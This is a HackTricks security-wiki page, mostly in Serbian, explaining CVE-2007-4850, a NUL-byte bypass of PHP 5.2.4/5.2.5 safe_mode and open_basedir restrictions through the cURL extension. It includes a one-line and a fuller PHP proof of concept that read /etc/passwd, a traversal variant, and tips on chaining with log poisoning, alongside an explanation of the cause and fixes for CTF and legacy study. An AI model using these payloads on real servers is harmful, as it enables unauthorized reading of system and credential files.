PHP 5.2.4 and 5.2.5 PHP cURL

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Ova stranica opisuje zastarelu, ali i dalje korisnu u CTF-ovima i lokalnim starim instalacijama, tehniku za zaobilaženje PHP safe_mode/open_basedir provera koristeći cURL ekstenziju na određenim PHP 5.2.x buildovima.

  • Affected: PHP 5.2.4 and 5.2.5 with ext/curl enabled.
  • Impact: Čitanje proizvoljnih lokalnih fajlova uprkos safe_mode ili open_basedir ograničenjima (bez direktnog izvršavanja koda).
  • ID: CVE-2007-4850.

Iz http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

Jednolinijski PoC

Ako su safe_mode ili open_basedir aktivni i cURL je omogućen, sledeće će vratiti sadržaj trenutnog skripta:

var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));

Detaljniji PoC (arbitrary file read)

<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err  = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>

Napomene:

  • Koristite dvostruke navodnike ili chr(0) za ubacivanje pravog NUL bajta. Percent-encoding (%00) neće pouzdano raditi.
  • Ovo je primitiv za čitanje fajla. Kombinujte sa drugim primitivima (log poisoning, session file inclusion, etc.) za dalju eskalaciju kad je moguće.

Zašto ovo radi (ukratko)

Ranljivost leži u načinu na koji PHP 5.2.4/5.2.5 izvršava safe_mode/open_basedir provere za file:// URL-ove u ext/curl. Provera je parsirala URL i validirala komponentu puta, ali zbog rukovanja NUL-bajtom validirala je drugačiji string od onog koji je zapravo koristio libcurl. U praksi, validator je mogao odobriti put nakon NUL-a, dok je libcurl koristio deo pre NUL-a kao kontejner URL-a, što omogućava zaobilaženje koje dovodi do čitanja fajla smeštenog nakon NUL bajta. Pogledajte originalnu analizu i pogođeni makro u curl/interface.c za detalje. [CVE-2007-4850].

Ograničenja i ispravke

  • Ispravljeno u kasnijim 5.2.x verzijama (npr. distro builds patched to 5.2.6) ispravljanjem parsiranja/validacije u ext/curl.
  • Pogađa samo vrlo stare PHP deploymente; safe_mode je uklonjen u PHP 5.4 i moderni buildovi ne pokazuju ovo ponašanje.

Povezana istorijska cURL zaobilaženja

  • CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrapperi su omogućavali file:// pristup sa ugrađenim NUL-ovima za zaobilaženje open_basedir; ispravljeno pre 5.2.x.
  • PHP bugovi #30609/#36223 pratili su ranije cURL open_basedir probleme koristeći file:// bez kanonikalizacije. Bilo koja provera pre NUL bajta ili bez realpath-style rezolucije podložna je istom skraćivanju.

Saveti za CTF

  • Kada identifikujete PHP 5.2.4/5.2.5 sa učitanim ext/curl (potražite cURL support => enabled u phpinfo() i tačnu PHP Version), ovaj trik obično radi čak i ako je allow_url_fopen onemogućen jer ext/curl sam obrađuje file://.
  • Ako su direktni putevi blokirani, probajte relativnu traversal nakon NUL-a, npr. file://x\x00../../../../etc/passwd. Traversal rešava libcurl, a ne open_basedir guard.
  • Možete ubaciti payload u jedno HTTP request telo da pokrenete LFI kroz ranjiv server-side kod koji preslikava korisnički kontrolisane URL-ove u curl_exec() (češće u legacy SSRF-like endpoint-ima).

Vidi takođe

Druga disable_functions/open_basedir zaobilaženja i moderne tehnike su skupljene ovde:

HackTricks

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks